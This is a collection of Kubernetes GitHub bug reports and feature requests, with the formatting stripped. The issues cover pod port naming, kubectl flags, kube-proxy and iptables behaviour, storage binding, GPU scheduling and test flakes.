<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r   what happened  :\r \r applied a pod spec where multiple containers within a pod have the same name for their named ports.  the spec was accepted but the docs say that it should have been forbidden:\r \r    \r if specified, this must be an iana_svc_name and unique within the pod. each named port in a pod must have a unique name. name for the port that can be referred to by services.\r    \r \r   what you expected to happen  :\r \r should be rejected with a clear error message  or doc should be fixed .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a pod with 2 containers.\r - include a tcp port in each container with the same name but different port number.\r - apply the pod spec.\r \r   anything else we need to know?  :\r \r there are such pod specs in the wild.  kubeadm's kube-proxy spec, for example defines more than one metrics port.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

many logging tools such as journalctl allow relativistic log access. this is useful, for example, when an outage has happened at a specific time and a user wants to retrieve logs from a specific time window.\r \r right now kubectl provides  --since  and  --since-time  but not it  --until  or  --until-then . this feature request tracks the implementation of the latter.\r \r the  --until  flag was added to moby in https://github.com/moby/moby/pull/32914, and it already exists in rkt. \r \r this is also tracked with https://github.com/kubernetes/features/issues/253, and that should be opened when somebody can commit cycles to implement this feature.\r \r  /cc @kargakis @liggitt @idvoretskyi

 \r   what happened  :\r when running ./build/run.sh make test, this is the result when there's a failed test:\r    \r ok      k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apiserver    0.035s\r !!! error in hack/make-rules/test.sh:402\r  error in hack/make-rules/test.sh:402. 'return ${rc}' exited with status 1\r call stack:\r  1: hack/make-rules/test.sh:402 main ... \r exiting with status 1\r makefile:184: recipe for target 'test' failed\r make:      test  error 1\r !!!  0307 12:21:35  call tree:\r !!!  0307 12:21:35   1: ./build/../build/common.sh:553 kube::build::run_build_command_ex ... \r !!!  0307 12:21:35   2: ./build/run.sh:39 kube::build::run_build_command ... \r !!! error in ./build/../build/common.sh:626\r  error in ./build/../build/common.sh:626. '  i<4-1  ' exited with status 2\r call stack:\r  1: ./build/../build/common.sh:626 kube::build::run_build_command_ex ... \r  2: ./build/../build/common.sh:553 kube::build::run_build_command ... \r  3: ./build/run.sh:39 main ... \r exiting with status 1\r    \r \r   what you expected to happen  :\r a summary of test results  pass, failed, no-ex, etc. \r \r   how to reproduce it  as minimally and precisely as possible   :\r ./build/run.sh make test with a failing test.\r \r   environment  :\r checked out code at master:5364f7beb8\r ubuntu 16.04.3 lts\r kernel: 4.10.0-40-generic\r $ go version\r go version go1.9.4 linux/amd64\r $ docker version\r client:\r version: 17.09.0-ce\r api version: 1.32\r go version: go1.8.3\r git commit: afdb6d4\r built: tue sep 26 22:42:18 2017\r os/arch: linux/amd64\r server:\r version: 17.09.0-ce\r api version: 1.32  minimum version 1.12 \r go version: go1.8.3\r git commit: afdb6d4\r built: tue sep 26 22:40:56 2017\r os/arch: linux/amd64\r experimental: false

i feel like there is a lot of code that is written in ugly ways because we are not clear about pointer ownership and mutability.  deep down in the guts of the code you get a  api.pod - can you assume it is not nil?  can you change fields in it?  this is a tedious things to retrofit, but i think it would make a lot of code more obvious  e.g. i suspect a lot of our \ need\  for deep copy comes from this

when i kill pod, it cannot be deleted and the status keep terminating always.  the reason is that my networkplugin has some problem, so when teardownpod https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockertools/manager.go l1318 , it return fail.  then killpod fail, and it will try next syncpod. unfortunately the err my networkplugin cannot recover again,  so next syncpod, it will fail again.  the result is: a terminating pod cannot be deleted.   should we care about the err when teardownpod? or is there other ways to avoid this appearance? @bgrant0607  @dchen1107 @yujuhong , please help have a look, thanks! cc @judytong @linzichang

this is a fork from https://github.com/kubernetes/kubernetes/issues/18352 issuecomment-185809326.  @piosz @mwielgus @kubernetes/goog-control-plane

for ha purposes, we'd like to share a load balancer across multiple clusters.  it seems like there are two approaches here: 1. can define a service to connect to a pre-existing elb. this has some implications, like security  can a user be allowed to connect to any arbitrary elb? . 2. first cluster to handle it creates the elb, other clusters discover the elb and add themselves. this is a bit more complex, we need to figure out how to coordinate it.

raising this issue to track the status of network policy in kubernetes so it isn't hidden within the network sig.\r \r current rough plan:\r -  x  short-term: define v1alpha1 network policy using api extensions.\r -  x  medium-term  v1.3 : implement as kubernetes v1beta api object.   25638 \r -  x  medium-term: refine and add to api based on user-feedback.\r -  x  long-term: implement as first-class api in k8s.\r \r v1beta api is outlined here: https://github.com/kubernetes/kubernetes/pull/24154/files\r \r and here: https://docs.google.com/document/d/1qam-_osap-f1d6a-xrtj6xah1syqbfk36vyjb5xozug/edit\r \r some future considerations and discussion points:\r -  x  egress  outgoing  network policy\r -  x  external policy  from outside the cluster \r -     how does policy fit in to multi-tenancy model? \r -     further policing cross-namespace connectivity  e.g allow from these labels in these namespaces .\r

we have a super handy framework called  \ chaosmonkey\   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/chaosmonkey/chaosmonkey.go   curiously named despite it having relatively little in common with  netflix chaosmonkey  http://techblog.netflix.com/2012/07/chaos-monkey-released-into-wild.html , other than ours modelling upgrades as disruptions .  and we already have a few tests that use that framework to perform automated e2e upgrade tests.  for example we  test services  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/cluster_upgrade.go l145  across cluster upgrades.  so i think that we should focus our effort on expanding the set of automated tests in that suite  as wojtek, marek and others have suggested in the past, on the basis that automating the tests actually involved effort comparable to running them manually once .    for the most part that automation involves: 1.       refactoring the existing e2e tests into three parts  setup, validate, teardown ,  2.       so that we can run them as setup->validate->upgrade->validate->teardown .   3.       there's more detail  here  https://github.com/kubernetes/kubernetes/issues/15131 issuecomment-145943453 .   4.       that refactoring appears to have already been done for services, at least in part.   5.       it does not involve a whole lot of work per test.  6.       we do not need to refactor all e2e tests to get very decent automated coverage.  i have done an analysis  here  https://docs.google.com/spreadsheets/d/1bbriwwyatp4ezje53lwykxcvune808dozxinezfjtfi/edit gid=1876580779&vpid=a1  of the tests that need to be refactored in order to reach parity with the manual upgrade testing that was done as part of the v1.4 release. 7.       as an example, ingress relies on services and replicasets and pods.  so an e2e upgrade test of ingress covers all of those, so some significant extent.  contact @quinton-hoole if you need further advice on how to proceed.   cc: @kubernetes/sig-testing @saad-ali @davidopp @matchstick fyi.  @shashidharatd has been tentatively volunteered to do some of this work, although other volunteers would be most welcome.  the work involves refactoring about 12 e2e tests, and is highly parallelizable.

kube-proxy version: 1.4.0\r physical machine memory：256g\r \r found some error log in kubelet.error as below:\r \r > e1221 20:44:08.372897   13566 kubelet_node_status.go:292  error updating node status, will retry: operation cannot be fulfilled on nodes \ 1.1.1.3\ : the object has been modified; please apply your changes to the latest version and try again\r > e1221 20:49:31.500437   13566 helpers.go:138  readstring: failed to read \ /sys/fs/cgroup/memory/system.slice/kube-proxy.service/memory.limit_in_bytes\ : read /sys/fs/cgroup/memory/system.slice/kube-proxy.service/memory.limit_in_bytes: no such device\r > e1221 20:49:31.500479   13566 helpers.go:138  readstring: failed to read \ /sys/fs/cgroup/memory/system.slice/kube-proxy.service/memory.memsw.limit_in_bytes\ : read /sys/fs/cgroup/memory/system.slice/kube-proxy.service/memory.memsw.limit_in_bytes: no such device\r > e1221 20:49:31.500506   13566 helpers.go:138  readstring: failed to read \ /sys/fs/cgroup/memory/system.slice/kube-proxy.service/memory.soft_limit_in_bytes\ : read /sys/fs/cgroup/memory/system.slice/kube-proxy.service/memory.soft_limit_in_bytes: no such device\r \r    \r systemctl status kube-proxy\r ● kube-proxy.service - kubernetes kube-proxy server\r    loaded: loaded  /usr/lib/systemd/system/kube-proxy.service; enabled; vendor preset: disabled \r    active: inactive  dead  since wed 2016-12-21 20:49:22 cst; 28min ago\r      docs: https://github.com/googlecloudplatform/kubernetes\r  main pid: 13671  code=killed, signal=term \r \r warning: journal has been rotated since unit was started. log output is incomplete or unavailable.\r    \r   main pid: 13671  code=killed, signal=term   looks like   kill -15 13671  . \r please note that the error log time is the same with the kube-proxy dead time.\r \r then i  systemctl restart  kube-proxy  everything is ok.\r \r is there a bug? however i can not reproduction it right now.\r

we don't implement pagination when retrieving rrsets from google cloud dns, so results could in theory be truncated: https://github.com/kubernetes/kubernetes/blob/master/federation/pkg/dnsprovider/providers/google/clouddns/rrsets.go l34\r \r we should support nextpagetoken.

using ./hack/local-up-cluster.sh and after executing the post completion steps get a login failure:\r \r    \r  root@k8dev2 kubernetes   kubectl get nodes\r error: you must be logged in to the server  the server has asked for the client to provide credentials  get .meta.k8s.io  \r    \r \r post completion steps:\r    \r to start using your cluster, open up another terminal/tab and run:\r \r   export kubernetes_provider=local\r \r   cluster/kubectl.sh config set-cluster local --server=https://localhost:6443 --certificate-authority=/var/run/kubernetes/apiserver.crt\r   cluster/kubectl.sh config set-credentials myself --username=admin --password=admin\r   cluster/kubectl.sh config set-context local --cluster=local --user=myself\r   cluster/kubectl.sh config use-context local\r   cluster/kubectl.sh\r    \r \r after speaking with @ncdc he asked me to try the following:\r \r 1.  remove the ~/.kube/config  file\r 2.  remove /var/run/kubernetes\r 3.  rerun local-up-cluster.sh\r \r after those steps, if i do not run the post script steps from above where we are setting the config...\r i'm able to use kubectl with no issues\r \r    \r  root@k8dev2 kubernetes   kubectl get nodes\r name        status    age       version\r 127.0.0.1   ready     10s       v1.6.0-alpha.0.3907+90b5d4cbd8719f\r    \r \r however, as soon as i run those steps, i'm back to the error:\r \r    \r cluster \ local\  set.\r user \ myself\  set.\r context \ local\  set.\r switched to context \ local\ .\r \r  root@k8dev2 kubernetes   kubectl get nodes\r error: you must be logged in to the server  the server has asked for the client to provide credentials  get .meta.k8s.io  \r    \r \r after this, without restarting my cluster, i just simply remove the ~/.kube/config file again and i'm back to a working cluster:\r \r    \r  root@k8dev2 kubernetes   rm -rf ~/.kube/config \r \r  root@k8dev2 kubernetes   kubectl get nodes\r name        status    age       version\r 127.0.0.1   ready     14m       v1.6.0-alpha.0.3907+90b5d4cbd8719f\r    \r

there are several ongoing discussion threads related to this topic, so open this one to summarize all the relevant discussions and hope to reach a conclusion.\r \r currently pod scheduling and pv controller  pvc/pv binding and dynamic provisioning  are implemented in completely separated controllers. this separation has some benefits such as enabling scheduler pluggable, better isolation, and better performance since pv/pvc binding can be performed asynchronously before pod scheduling. but both controller makes decisions independently without considering the other's choice so that the node/zone selection might conflict.\r \r the goal is to still keep this separate controller design largely and make necessary modification to overcome the problem of conflicting decisions. there are four scenarios we need to consider.\r \r 1. single zone, network attached storage\r in such case, pv/pvc is not tied to any node selection. the binding can be performed interdependently. no change is needed from current code.\r \r 2. single zone, local storage\r in this case, pv is tied to a specific node. once a pvc is bound to a pv, it is bound to the node. the decision might not be compatible to pod scheduler's decision. normally pod scheduler ranks nodes based on some predefined policies and picks the node with the highest score. pv controller is also trying to search and find the best match to bind pvc and pv. \r  \r 3. multiple zone, network attached storage\r pod scheduler gives each zone a score which is used to rank nodes. but pv controller itself does not consider zone information when choosing pv for pvc and it uses the same way of choosing pv for a given pvc. only for dynamic provisioning, user might specify zone information and pv will be created in that zone. in such case,  pod scheduler has a predicate which picks nodes only from the zone where the pv is. for statefulsets, a hacky way to make sure volumes are spread across zones when creating the volumes by using pvc name as an indicator of statefulset. in this situation, it is possible that pv controller picks a zone in which no node has enough resources  cpu/memory  for a pod. see more discussion at  41598\r \r 4. multiple zone, local storage\r pv controller could find pv candidates from different zones and nodes. it is similar to case 2. pv controller might picks up a zone and node that does not have enough resources for the pod. \r \r to solve these problems, i think it would be good for storage, scheduling, and workload team to get together and agree on the outcome we want to deliver.\r \r proposal:\r  @vishh  move the binding selection and decision from pv controller to scheduler. the pv controller will still be around to take care of dangling claims and/or volumes, rollback incomplete transactions  necessary when a pod requests multiple local pvs , reclaim pvs, etc.\r \r

kubernetes version    use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : debian\r -   install tools  : kubeadm\r \r   what happened  :\r \r  kubectl get pods  resulted in the following status printed to the cli\r \r    \r kube-system   kube-dns-3913472980-j99wd                         0/3       rpc error: code = 2 desc = failed to start container \ 828b8a9306dfae6cf6a47fdad62a6165adf1f2ae4eb2366772230b8817d0f2e2\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: 96785a6e586bf7010d3a586a1025e33faee5954ff20c8f4ade7a076ad2a0947f\ }   0          32m\r    \r \r   what you expected to happen  :\r \r the status field should be \ containercreating\  or \ error\   or something similarly short \r \r   how to reproduce it    as minimally and precisely as possible :\r \r don't have a reliable repro yet.\r \r

\r $ kc scale rs --replicas=1\r error: resource s  were provided, but no name, label selector, or --all flag specified\r $ kc scale rs --all --replicas=1\r error: unknown flag: --all\r    \r @kubernetes/sig-cli-bugs

these suites sometimes flake with timeouts reaching the nodes, which causes many tests to fail.\r \r example failures:\r ci-kubernetes-e2e-gce-gci-ci-release-1.4  log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-ci-release-1.4/6201 \r ci-kubernetes-e2e-gce-gci-qa-m56  log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-m56/8202 \r ci-kubernetes-e2e-gce-gci-qa-m55  log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-m55/9453 \r \r failed test signature:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:56\r expected error:\r     < errors.errorstring | 0xc820aa6300>: {\r         s: \ failed to get logs from pod-host-path-test for test-container-1: get https://bootstrap-e2e-minion-group-b09q:10250/containerlogs/e2e-tests-hostpath-mgozl/pod-host-path-test/test-container-1: dial tcp 10.240.0.3:10250: i/o timeout\ ,\r     }\r     failed to get logs from pod-host-path-test for test-container-1: get https://bootstrap-e2e-minion-group-b09q:10250/containerlogs/e2e-tests-hostpath-mgozl/pod-host-path-test/test-container-1: dial tcp 10.240.0.3:10250: i/o timeout\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2329\r

flaky job: pr:pull-kubernetes-e2e-gce-gpu  flakes in the past week:   43    consistency:   95.60%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 34 | |  sig-scheduling   feature:gpu  run nvidia gpu tests on container optimized os only | 15 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

\r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r kube-proxy ipvs mode use  getchainlines  and  restore  delete iptables rule for now. \r but ipvs created iptables rules are specific. we can use  flush  and 'delete  instead of restore whole table.\r \r

what happened  :\r when kube-dns has not yet synced with the apiserver, it return nxdomain for all cluster names\r \r   what you expected to happen  :\r it should return servfail\r \r   anything else we need to know?  :\r nxdomain is the wrong status. it even can be cached by downstream dns servers.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r

in https://github.com/kubernetes/kubernetes/pull/59898, kubelet container log manager gets container status from container runtime directly every 10 seconds.\r \r it shouldn't introduce too much overhead. however, since kubelet has already cached all the needed information in pod cache, it would be good to make use of that to avoid the extra overhead.\r \r /assign random-liu

is this a bug report or feature request?  :\r >  \r \r   what happened  :\r if my kubectl client is bound to service account  ceph  and namespace  ceph  , i need to specify service account  ceph  in my deployment. if i don't specify service account  ceph  in my deployment , the default service account of my deployment is still default. is there any way to make the default service account with the client-bound service account  ceph ?\r \r my kubectl config file:\r \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /home/ceph/.kube/cert/ca.crt\r     server: https://master-ip:port\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     namespace: ceph\r     user: ceph\r     serviceaccount: ceph\r   name: ceph@kubernetes\r current-context: ceph@kubernetes\r kind: config\r preferences: {}\r users:\r - name: ceph\r   user:\r     as-user-extra: {}\r     client-certificate: /home/ceph/.kube/cert/ceph.crt\r     client-key: /home/ceph/.kube/cert/ceph.key\r \r   what you expected to happen  :\r associate the  kubelet client user   and  psp service account .\r \r

i deploy kubernetes v1.10 with kubeadm,the cluster can run cpu tasks,but when i run gpu tasks they can not run,when i describe the nodes,i can't find the gpu capacity,\r ! image  https://user-images.githubusercontent.com/6119243/38553423-d2e706d6-3cf1-11e8-9857-9febc56ecdc0.png \r environment\r  the docker version is docker-ce-17.03.2\r the cuda is\r ! image  https://user-images.githubusercontent.com/6119243/38553503-130c5f36-3cf2-11e8-9a44-d8216177d8fe.png \r i can run gpu test by nvidia-docker runtime\r ! image  https://user-images.githubusercontent.com/6119243/38553596-522f08e4-3cf2-11e8-90a0-8c415e960163.png \r i want to know,how to config the kubelet  or othe way to find the gpu resource\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-performance-regional/132 failed to start leaving a 2k cluster running in kubernetes-scale project.\r \r this has broken two 5k nodes attempts:\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/194\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/193\r \r  /cc @shyamjvs \r /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/29792\r \r    \r error: 12 leaked resources\r +name                                                            zone           size_gb  type         status\r +bootstrap-e2e-dynamic-pvc-08c745d4-b823-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-0e7934eb-b823-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-3c6a87f0-b823-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-4c9c1f87-b822-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-59d00015-b821-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-6fd91cf3-b823-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-7d287c58-b821-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-7ece3e97-b821-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-9f8cf264-b822-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-bbe12995-b821-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-d26aacb7-b822-11e8-b498-42010a800002  us-central1-f  2        pd-standard  ready\r    \r

in pkg/api/validation/validation.go in function validatepodupdate, it says:               newpod.status = oldpod.status      but this is also done in pkg/registry/pod/rest.go in function prepareforupdate.  i would not expect a validate routine to modify it's input.  probably a holdover from before we added strategy.  should be safe to delete, but needs more thought/testing than i could give at this moment.

hyperkube  offers significant advantages in terms of reducing our distribution size and simplifying the number of things that need to be juggled.  but some deployment scenarios are using separate binaries while others are using  hyperkube .  we should switch everything over to  hyperkube  and deprecate/remove the individual binaries.  issues that need to be addressed before we can get there:  16410  8772.  if we can agree on this being a good direction, i'm happy to chip in and do the work.

with the kubernetes client-go, how can i use convert   for  extensions.deployment to  v1beta1.deployment? when i run the program below i get this error:\r \r 2017/01/12 22:40:42 failed to convert: converting  extensions.deployment .creationtimestamp.time.sec to  v1beta1.deployment .creationtimestamp.time.sec: cannot set dest.  tried to deep copy something with unexported fields? \r \r    package main\r \r import  \r \t\ log\ \r \r \t_ \ k8s.io/client-go/1.4/kubernetes\ \r \t\ k8s.io/client-go/1.4/pkg/api\ \r \t\ k8s.io/client-go/1.4/pkg/api/v1\ \r \t\ k8s.io/client-go/1.4/pkg/runtime\ \r  \r \r const yaml =  \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: push\r  \r \r func main   {\r \r \td := api.codecs.universaldecoder  \r \tobj, _, err := d.decode   byte yaml , nil, nil \r \tif err != nil {\r \t\tlog.fatalf \ could not decode yaml: %s\ %s\ , yaml, err \r \t}\r \r \tsrc := obj.  extensions.deployment \r \ts := runtime.newscheme  \r \tdst := &v1beta1.deployment{}\r \terr = s.convert src, dst, 0 \r \tif err != nil {\r \t\tlog.fatalf \ failed to convert: %s\ , err \r \t}\r }\r    \r \r i would expect v1beta1.convert_extensions_deployment_to_v1beta1_deployment   to be called and take care of unexported fields. the function is registered in main_init  , but it is not called by convert  .

https://docs.google.com/a/redhat.com/document/d/15uiehe_qnff9eej-aabavo3xbqfyu5x1v5cghzy4zdi/edit?usp=sharing\r \r      case\r \r right now, there are multiple ways to consume printers in the cli. there are also multiple factory methods that expose different ways of consuming printers   printerformapping ,  printerforcommand ,  printobj ,  printer , etc .\r \r this proposal calls for consolidating all printer consumption through the  cmd/util factory  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/factory.go , making printer consumption simpler by having a single way to set printer options, and making the existing factory methods for accessing printers have less overlap.\r \r      sanitize printing options\r \r in order to make it easier to consume printers, there should be a single interface for accessing printers  cmd/util factory , and a single way of passing / setting printing options. \r \r ideally, there should only be one  options  struct that binds directly to flags at the cmd level, instead of multiple sets of printer options   printoptions ,  outputoptions  .\r \r this proposal would merge  outputoptions  with  printoptions . leaving a single struct to be passed to printer methods and functions in order to set print opts.\r \r      consolidate consumption of printers\r \r for reduced complexity, and ease of customization of printer usage in downstream projects, there should be a single interface for consumers of printers. as suggested in the  linked document  https://docs.google.com/a/redhat.com/document/d/15uiehe_qnff9eej-aabavo3xbqfyu5x1v5cghzy4zdi/edit?usp=sharing , the  pkg/kubectl/cmd/util/factory  should be the single interface for providing access to printers. this would mean unexposing as many helper functions as possible in  pkg/kubectl/cmd/util/printing.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go , and moving others such as  printresourceinfoforcommand  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go l136 ,  printerforcommand  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go l112 , and  printsuccess  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go l76  to the cmd/util factory.\r \r      move printer handler registration to the factory\r \r exposing printer handler registration   addhandlers  https://github.com/kubernetes/kubernetes/blob/master/pkg/printers/internalversion/printers.go l67   through the cmd factory would provide a simplified way for consumers of  humanreadableprinters  to add client-default handlers to the printer. it would additionally allow downstream projects to use kubectl-default printer handlers, while adding new custom handlers all through the same interface.\r \r a way to achieve this could be to expose the  handlerentry struct  https://github.com/kubernetes/kubernetes/blob/master/pkg/printers/humanreadable.go l48  and update  internalversion/printers.go addhandlers  https://github.com/kubernetes/kubernetes/blob/master/pkg/printers/internalversion/printers.go l67  to instead return a slice of   handlerentry . a new cmd factory method could then be added to call the updated  addhandlers  function, and iterate over the list of returned  handlerentries , registering each one with a given printer. this would also allow the factory to have a new method that returns a list of client-registered print handlers, as suggested in the  linked document  https://docs.google.com/document/d/15uiehe_qnff9eej-aabavo3xbqfyu5x1v5cghzy4zdi/edit?ts=5978e6a6 heading=h.c0r58jdubym8 .\r \r      update cmdutil.factory printerforcommand and cmdutil.factory printerformapping\r \r right now, both of these factory methods depend on a   cobra.command  and are not very clear on their overall intent.  printerformapping  receives a   cobra.command , a mapping and wraps a call to  printerforcommand  while decorating the output from  printerforcommand  with either print handlers  if the printer implements  pkg/printers.printhandler   or a versioned printer  if the printer is \ generic\  .\r \r a way to make the intent of these two methods more clear, while improving code re-use, would be to add a new method  printerwithoptions  which does not depend on   cobra.command  and receives a single set of  printers.printoptions , as well as a mapper  or nil . this new method would then re-use the helper  pkg/kubectl/cmd/util/printing.go printerforcommand  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go l113 .\r \r  printerforcommand  would then be updated to only extract options from a given  cobra.command, and pass these options to the new  printerwithoptions  method.\r \r  printerformapping  would be renamed  decoratedprinterwithoptions . it would no longer receive a   cobra.command  but rather a set of  printoptions  and a resource mapping. it would then retrieve a \ standard\  cli printer based on the options given by calling the new method  printerwithoptions , and decorate it by either registering print handlers  if the printer implements  printers.printhandler  , or compose it in a versioned printer  if generic .\r \r the above solution would ensure code re-usability where possible among  printerwithoptions ,  printerforcommand , and  decoratedprinterwithoptions  previously printerformapping  , while simplifying each method's intent.\r \r @fabianofranz @kubernetes/sig-cli-misc @deads2k @liggitt

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r example states that target cpu utilization is specified, but it is not.\r    \r examples:\r     auto scale a deployment \ foo\ , with the number of pods between 2 and 10,\r target cpu utilization specified so a default autoscaling policy will be used:\r   kubectl autoscale deployment foo --min=2 --max=10\r    \r \r   what you expected to happen  :\r update the docs to say that no target cpu utilization is specified so a default autoscaling policy will be used.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  kubectl autoscale --help  and inspect the examples\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r i want a to have a new federation api resource _  clusterdaemonsets  _\r \r   what you expected to happen  :\r this works a little like   _demonsets_   resource.\r _  demonsets  _ makes sure every nodes must have a pod running in it.\r _  clusterdaemonsets  _ makes sure every clusters must have a pod running in it.\r \r for example\r every cluster must has a kubernetes-dashboard.\r i want to make sure there's only one  or more  dashboard   per cluster  \r i can do that by using federation feature and create a deployment and then scaling it out.\r however, if one cluster is down, it'll try to make a pod in other cluster instead.\r i want a resource to make sure there's only   one or more per cluster  \r and if the cluster is gone, it won't try to pop up in other cluster\r \r   anything else we need to know?  :\r thank you.\r

i have a kubernetes cluster with 160 node, 3 master behind load balanceer.  just run the performance test to set up 30 pod on each node, during this test, many node became node ready between whiles and then recovered soon.  check the logs of kubelet, it reports:\r   the server has received too many requests and has asked us to try again later  \r \r i wonder if this a right behavor? our product environment is going to have 400 nodes, but seems the performance is not good enough. \r \r my version is 1.5.7\r \r and seems i do not have the authority to add label to 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r  \r   what happened  :\r starting k8s with flanneld cni on an ubuntu 16.04 server results in the following postrouting rules:\r     \r      $ iptables -t nat -l postrouting\r     chain postrouting  policy accept \r     target     prot opt source               destination         \r     kube-postrouting  all  --  anywhere             anywhere             /  kubernetes postrouting rules  /\r     masquerade  all  --  172.17.0.0/16        anywhere            \r     cni-f4a2ba37b7c45a6f0a75e202  all  --  10.2.26.0/24         anywhere             /  name: \ podnet\  id: \ 2aa1bac9288bab51c08479e0998e9a6f7098842be68a9838fd2753fa73788411\   /\r     cni-b80f40077ee30b3f1ed96374  all  --  10.2.26.0/24         anywhere             /  name: \ podnet\  id: \ 907ea36a07e665576b60f3f0d058f02df41ba0c1ed16732a10a93272e3cd5646\   /\r     cni-46eb2ecbdd92da901b16fef9  all  --  10.2.26.0/24         anywhere             /  name: \ podnet\  id: \ 4fdaff97d2523014cd40cd9c7aaf574687a27ffc379434616544de6bd283fc46\   /\r \r which is fine since outgoing traffic from 10.2.26.0/24 is properly masqueraded:\r \r     chain cni-f4a2ba37b7c45a6f0a75e202  1 references \r     target     prot opt source               destination         \r     accept     all  --  anywhere             10.2.26.0/24         /  name: \ podnet\  id: \ 2aa1bac9288bab51c08479e0998e9a6f7098842be68a9838fd2753fa73788411\   /\r     masquerade  all  --  anywhere            !base-address.mcast.net/4  /  name: \ podnet\  id: \ 2aa1bac9288bab51c08479e0998e9a6f7098842be68a9838fd2753fa73788411\   /\r \r after a flush, all iptables gets re-created but the cni rules which results in pods not having external access i.e. to the internet. \r \r  